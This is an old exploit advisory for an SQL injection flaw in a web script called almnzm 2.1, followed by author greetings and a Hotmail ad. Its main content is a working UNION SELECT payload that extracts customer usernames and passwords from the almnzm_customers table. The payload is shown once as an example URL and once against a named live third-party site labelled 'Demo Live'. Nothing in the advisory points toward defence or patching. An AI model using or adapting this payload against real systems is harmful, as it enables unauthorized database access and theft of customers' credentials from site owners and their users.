# Title: almnzm 2.1 <= SQL Injection Vulnerability # Author: NeX HaCkEr # Published: 2010-04-14 # Contact= error_log@hotmail.com #Script site :http://www.almnzm.com [::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::] >> #1 Vulnerability Type = SQL Injection Example URL = index.php?a=pages&id=3' and 1=0 UnIon aLL Select 1,2,concat(username,0x3a,password),4,5,6,7 from almnzm_customers--%20 [-] Demo Live: http://www.ksa-servers.com/index.php?a=pages&id=3' and 1=0 UnIon aLL Select 1,2,concat(username,0x3a,password),4,5,6,7 from almnzm_customers--%20 [::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::] [::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::] >> Greetz = Dr.DaShEr, DaMI, dr.kasber, RmZ AlJnooP = [::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::] ________________________________ Hotmail: بريد إلكتروني موثوق فيه ويتمتع بحماية Microsoft القوية من البريد العشوائي. اشترك الآن.